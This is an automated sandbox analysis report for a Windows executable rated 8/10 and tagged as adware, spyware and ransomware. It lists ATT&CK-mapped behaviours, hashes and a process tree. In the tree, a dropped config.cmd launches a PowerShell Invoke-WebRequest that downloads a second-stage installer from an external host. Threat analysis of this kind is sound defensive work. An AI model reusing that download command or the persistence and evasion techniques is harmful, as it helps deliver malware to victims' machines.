Overview

overview

8

Static

static

3

bb73253555...94.exe

windows11-ltsc_2024-x64

8

Analysis

  • user interaction
    yes
  • max time kernel
    599s
  • max time network
    465s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    14/10/2026, 03:58

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General

  • Target
    bb73253555f518c3646356da5b8a3747a541a8a48b72827e4dcf892cde94e094.exe
  • Size 372KB
  • Sample261014-ejq2lsfy6p
  • SHA256 bb73253555f518c3646356da5b8a3747a541a8a48b72827e4dcf892cde94e094
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
adwarediscoveryexecutionpersistenceransomwarespyware

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Powershell Invoke Web Request.

    execution
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 35 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 35 IoCs
  • Suspicious use of FindShellTrayWindow 52 IoCs
  • Suspicious use of SendNotifyMessage 39 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\bb73253555f518c3646356da5b8a3747a541a8a48b72827e4dcf892cde94e094.exe
    "C:\Users\Admin\AppData\Local\Temp\bb73253555f518c3646356da5b8a3747a541a8a48b72827e4dcf892cde94e094.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3300
    • C:\Windows\SysWOW64\cmd.exe
      cmd.exe /c "%temp%\config.cmd"
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3532
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe Invoke-WebRequest -Uri https://rss.fbvidcdn.com/dl/seed/ -OutFile 'C:\Users\Admin\AppData\Roaming\s-installer.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5588
  • C:\Windows\System32\rundll32.exe
    C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
    1⤵
      PID:4756
    • C:\Windows\system32\svchost.exe
      C:\Windows\system32\svchost.exe -k GPSvcGroup
      1⤵
        PID:4964
      • C:\Windows\system32\sihost.exe
        sihost.exe
        1⤵
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:924
        • C:\Windows\explorer.exe
          explorer.exe /LOADSAVEDWINDOWS
          2⤵
          • Boot or Logon Autostart Execution: Active Setup
          • Enumerates connected drives
          • Checks SCSI registry key(s)
          • Modifies Internet Explorer settings
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          • Suspicious use of SetWindowsHookEx
          PID:3432
      • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
        "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:5420
      • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
        "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
        1⤵
        • Modifies registry class
        • Suspicious use of SetWindowsHookEx
        PID:1540

      Network

            MITRE ATT&CK Enterprise v16

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            Downloads

            prep_Activatable Class_Hermes_perf.cache
            • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
            • Size 599B
            • SHA256 b536a3dae9ea5c69081f0491eed829e3b57e32401fdf49a63031bcd6b20e6fdb
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            config.cmd
            • Path C:\Users\Admin\AppData\Local\Temp\config.cmd
            • Size 244B
            • SHA256 c5d8e29eac1c03c8fc1f31d43dec4ca05e0ec3e01d690f82ee88d8c810efdd35
            • MD5 SHA1 SHA512 TLSH
            Submit Download

            memory/5420-22-0x0000020600100000-0x0000020600200000-memory.dmp
            Download

            memory/5420-54-0x0000020603B40000-0x0000020603B60000-memory.dmp
            Download

            memory/5420-36-0x0000020603820000-0x0000020603840000-memory.dmp
            Download

            memory/5420-37-0x0000020613C60000-0x0000020613D60000-memory.dmp
            Download

            memory/5420-68-0x0000020614080000-0x00000206140A0000-memory.dmp
            Download

            memory/5420-23-0x0000020600100000-0x0000020600200000-memory.dmp
            Download

            memory/5588-6-0x0000000074560000-0x0000000074D1C000-memory.dmp
            Download

            memory/5588-9-0x0000000005990000-0x00000000059F6000-memory.dmp
            Download

            memory/5588-13-0x0000000006560000-0x000000000657E000-memory.dmp
            Download

            memory/5588-14-0x00000000068D0000-0x000000000691C000-memory.dmp
            Download

            memory/5588-15-0x0000000007DE0000-0x000000000845C000-memory.dmp
            Download

            memory/5588-16-0x0000000006AC0000-0x0000000006ADA000-memory.dmp
            Download

            memory/5588-18-0x0000000074560000-0x0000000074D1C000-memory.dmp
            Download

            memory/5588-12-0x00000000061C0000-0x000000000651B000-memory.dmp
            Download

            memory/5588-8-0x0000000005830000-0x0000000005896000-memory.dmp
            Download

            memory/5588-7-0x0000000005780000-0x00000000057A2000-memory.dmp
            Download

            memory/5588-5-0x0000000005A50000-0x000000000609A000-memory.dmp
            Download

            memory/5588-4-0x0000000074560000-0x0000000074D1C000-memory.dmp
            Download

            memory/5588-3-0x0000000002D50000-0x0000000002D86000-memory.dmp
            Download

            memory/5588-2-0x0000000074572000-0x0000000074573000-memory.dmp
            Download